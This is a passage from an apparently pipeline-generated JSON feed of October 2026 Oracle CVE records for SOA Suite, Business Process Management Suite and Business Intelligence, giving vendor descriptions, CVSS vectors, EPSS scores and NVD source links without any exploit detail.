12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Business Process Management Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:25.167Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91243","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00365,"percentile":0.30093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91243","type":"primary","publishedAt":"2026-10-20T22:20:25.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91241","cveId":"CVE-2026-91241","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.937Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91241","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00343,"percentile":0.27526,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91241&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91241","type":"primary","publishedAt":"2026-10-20T22:20:24.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91241&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91241, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91236","cveId":"CVE-2026-91236","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.353Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91236","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91236","type":"primary","publishedAt":"2026-10-20T22:20:24.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91235","cveId":"CVE-2026-91235","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.243Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91235","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38826,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91235","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91235","type":"primary","publishedAt":"2026-10-20T22:20:24.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91234","cveId":"CVE-2026-91234","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.130Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91234","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38826,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91234&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91234","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91234","type":"primary","publishedAt":"2026-10-20T22:20:24.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91234&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91234, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91233","cveId":"CVE-2026-91233","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.017Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91233","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91233","type":"primary","publishedAt":"2026-10-20T22:20:24.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91232","cveId":"CVE-2026-91232","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.897Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91232","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91232","type":"primary","publishedAt":"2026-10-20T22:20:23.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91231","cveId":"CVE-2026-91231","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.787Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91231","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00522,"percentile":0.44007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91231&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91231","type":"primary","publishedAt":"2026-10-20T22:20:23.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91231&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91231, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91230","cveId":"CVE-2026-91230","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.660Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91230","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00339,"percentile":0.27066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91230","type":"primary","publishedAt":"2026-10-20T22:20:23.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91230, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91225","cveId":"CVE-2026-91225","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a hang or frequently 